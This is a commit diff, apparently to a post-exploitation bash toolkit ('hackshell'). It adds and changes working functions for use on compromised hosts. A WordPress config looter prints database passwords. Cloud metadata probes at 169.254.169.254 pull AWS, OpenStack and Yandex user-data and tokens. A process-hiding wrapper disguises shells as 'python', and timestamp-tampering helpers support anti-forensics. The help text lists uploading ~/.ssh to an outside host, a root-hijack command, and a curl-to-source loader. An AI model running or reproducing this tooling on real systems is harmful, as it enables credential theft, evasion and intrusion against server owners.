@@ -129,9 +129,11 @@ notime() {
129
129
# Set the ctime to the file's mtime
130
130
ctime () {
131
131
local fn
132
+ [ " $UID " -ne 0 ] && { HS_ERR " Need root" ; return 255; }
132
133
133
134
for fn in " $@ " ; do
134
135
notime " ${fn} " chmod --reference " ${fn} " " ${fn} "
136
+ # FIXME: warning if Birth time is newer than ctime or mtime.
135
137
done
136
138
}
137
139
@@ -401,9 +403,14 @@ np() {
401
403
}
402
404
403
405
zapme () {
406
+ local name=" ${1} "
404
407
_hs_dep zapper || return
405
- HS_WARN " Starting new/zapper SHELL. Type '${CDC} source <(curl -SsfL https://thc.org/hs)${CDM} ' again."
406
- exec zapper -f -a" ${1:- -} " bash -il
408
+ HS_WARN " Starting new/zap'ed shell. Type '${CDC} source <(curl -SsfL https://thc.org/hs)${CDM} ' again."
409
+ [ -z " $name " ] && {
410
+ HS_INFO " Apps will hide as ${CDY} python${CDM} . Use ${CDC} zapme -${CDM} for NO name."
411
+ name=" python"
412
+ }
413
+ exec zapper -f -a" ${name} " bash -il
407
414
}
408
415
409
416
# Find writeable dirctory but without displaying sub-folders
@@ -424,7 +431,7 @@ wfind() {
424
431
425
432
# Only output the 16 charges before and 32 chars after..
426
433
hgrep () {
427
- grep -HEronasi " .{,16}${1:- password} .{,32}" .
434
+ grep -HEronasie " .{,16}${1:- password} .{,32}" .
428
435
}
429
436
430
437
dbin () {
@@ -566,6 +573,18 @@ loot_bitrix() {
566
573
echo -en " ${CN} "
567
574
}
568
575
576
+ _loot_wp () {
577
+ local fn=" ${1:? } "
578
+ local str
579
+ [ ! -f " $fn " ] && return
580
+
581
+ str=" $( grep -v ^# "$fn" | grep -E "DB_(NAME|USER|PASSWORD|HOST)")"
582
+ [[ " $str " == * " _here" * ]] && return
583
+ echo -e " ${CB} WordPress-DB ${CDY}${fn}${CF} "
584
+ echo " ${str} "
585
+ echo -en " ${CN} "
586
+ }
587
+
569
588
# _loot_home <NAME> <filename>
570
589
_loot_homes () {
571
590
local fn
@@ -579,18 +598,23 @@ _loot_homes() {
579
598
580
599
_loot_openstack () {
581
600
local str
601
+ local rv
582
602
583
603
[ -n " $_HS_NOT_OPENSTACK " ] && return
584
604
[ -n " $_HS_NO_SSRF_169 " ] && return
605
+ [ -n " $_HS_GOT_SSRF_169 " ] && return
585
606
586
607
str=" $( timeout 4 bash -c " $( declare -f dl) ;dl 'http://169.254.169.254/openstack/latest/user_data'" 2> /dev/null) " || {
587
- [ " $? " -eq 124 ] && _HS_NO_SSRF_169=1
608
+ rv=" $? "
609
+ { [ " ${rv} " -eq 124 ] || [ " ${rv} " -eq 7 ]; } && _HS_NO_SSRF_169=1
588
610
unset str
589
611
}
612
+
590
613
[ -z " $str " ] && {
591
614
_HS_NOT_OPENSTACK=1
592
615
return 255
593
616
}
617
+ _HS_GOT_SSRF_169=1
594
618
echo -e " ${CB} OpenStack user_data${CDY}${CF} "
595
619
echo " $str "
596
620
echo -en " ${CN} "
@@ -603,14 +627,17 @@ _loot_aws() {
603
627
local str
604
628
local TOKEN
605
629
local role
630
+ local rv
606
631
607
632
[ -n " $_HS_NOT_AWS " ] && return
608
633
[ -n " $_HS_NO_SSRF_169 " ] && return
634
+ [ -n " $_HS_GOT_SSRF_169 " ] && return
609
635
610
636
command -v curl > /dev/null || return # AWS always has curl
611
637
612
638
str=" $( timeout 4 curl -SsfL -X PUT " http://169.254.169.254/latest/api/token" -H " X-aws-ec2-metadata-token-ttl-seconds: 60" 2> /dev/null) " || {
613
- [ " $? " -eq 124 ] && _HS_NO_SSRF_169=1
639
+ rv=" $? "
640
+ { [ " ${rv} " -eq 124 ] || [ " ${rv} " -eq 7 ]; } && _HS_NO_SSRF_169=1
614
641
unset str
615
642
}
616
643
[ -z " $str " ] && {
@@ -619,6 +646,7 @@ _loot_aws() {
619
646
}
620
647
TOKEN=" $str "
621
648
649
+ _HS_GOT_SSRF_169=1
622
650
str=" $( curl -SsfL -H " X-aws-ec2-metadata-token: $TOKEN " http://169.254.169.254/latest/user-data 2> /dev/null) "
623
651
[ -n " $str " ] && [[ " $str " != * Lightsail* ]] && {
624
652
echo -e " ${CB} AWS user-data (config)${CDY}${CF} "
@@ -645,19 +673,23 @@ _loot_aws() {
645
673
646
674
_loot_yandex () {
647
675
local str
676
+ local rv
648
677
649
678
[ -n " $_HS_NOT_YC " ] && return
650
679
[ -n " $_HS_NO_SSRF_169 " ] && return
680
+ [ -n " $_HS_GOT_SSRF_169 " ] && return
651
681
652
682
str=" $( timeout 4 bash -c " $( declare -f dl) ;dl 'http://169.254.169.254/latest/user-data'" 2> /dev/null) " || {
653
- [ " $? " -eq 124 ] && _HS_NO_SSRF_169=1
683
+ rv=" $? "
684
+ { [ " ${rv} " -eq 124 ] || [ " ${rv} " -eq 7 ]; } && _HS_NO_SSRF_169=1
654
685
unset str
655
686
}
656
687
[ -z " $str " ] && {
657
688
_HS_NOT_YC=1
658
689
return 255
659
690
}
660
691
692
+ _HS_GOT_SSRF_169=1
661
693
echo -e " ${CB} Yandex Cloud user-data (config)${CDY}${CF} "
662
694
echo " $str "
663
695
echo -en " ${CN} "
@@ -715,6 +747,7 @@ loot() {
715
747
local h=" ${_HS_HOME_ORIG:- $HOME } "
716
748
local str
717
749
750
+ unset _HS_GOT_SSRF_169
718
751
for fn in " ${HOMEDIR:-/ home} " /* /.my.cnf /root/.my.cnf; do
719
752
[ ! -s " $fn " ] && continue
720
753
echo -e " ${CB} MySQL ${CDY}${fn}${CF} "
@@ -739,6 +772,10 @@ loot() {
739
772
loot_bitrix " $fn "
740
773
done
741
774
775
+ find /var/www " ${h} " -maxdepth 3 -type f -name wp-config.php 2> /dev/null | while read -r fn; do
776
+ _loot_wp " $fn "
777
+ done
778
+
742
779
# ## SSH Keys
743
780
[ -e " /etc/ansible/ansible.cfg" ] && {
744
781
str=" $( grep ^private_key_file " /etc/ansible/ansible.cfg" ) "
@@ -766,11 +803,16 @@ loot() {
766
803
_loot_openstack
767
804
_loot_aws
768
805
_loot_yandex
806
+
769
807
[ -z " $_HS_NO_SSRF_169 " ] && {
770
808
# Found an SSRF
771
809
echo -e " ${CW} TIP:${CN} See ${CB}${CUL} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf${CN} "
772
810
}
773
811
812
+ [ " $UID " -ne 0 ] && {
813
+ echo -e " ${CW} TIP:${CN} Type ${CDC} sudo -ln${CN} to list sudo perms. ${CF} [may log to auth.log]${CN} "
814
+ }
815
+
774
816
lootlight
775
817
}
776
818
@@ -882,7 +924,7 @@ hs_exit() {
882
924
_hs_destruct
883
925
fi
884
926
}
885
- [ -t 1 ] && echo -e " ${CW} >>>>> 📖 More tips at https://thc.lorg /tips${CN} 😘"
927
+ [ -t 1 ] && echo -e " ${CW} >>>>> 📖 More tips at https://thc.org /tips${CN} 😘"
886
928
kill -9 $$
887
929
}
888
930
@@ -1092,7 +1134,7 @@ ${CDC} burl http://ipinfo.io 2>/dev/null ${CDM}Request URL ${CN}${CF}[no htt
1092
1134
${CDC} dl http://ipinfo.io 2>/dev/null ${CDM} Request URL using one of curl/wget/python
1093
1135
${CDC} transfer ~/.ssh ${CDM} Upload a file or directory ${CN}${CF} [${HS_TRANSFER_PROVIDER} ]
1094
1136
${CDC} shred file ${CDM} Securely delete a file
1095
- ${CDC} notime <file> rm -f foo.dat ${CDM} Execute a command at the <file>'s ctime & mtime
1137
+ ${CDC} notime <file> touch foo.dat ${CDM} Execute a command at the <file>'s mtime
1096
1138
${CDC} notime_cp <src> <dst> ${CDM} Copy file. Keep birth-time, ctime, mtime & atime
1097
1139
${CDC} ctime <file> ${CDM} Set ctime to file's mtime ${CN}${CF} [find . -ctime -1]
1098
1140
${CDC} ttyinject ${CDM} Become root when root switches to ${USER:- this user}
0 commit comments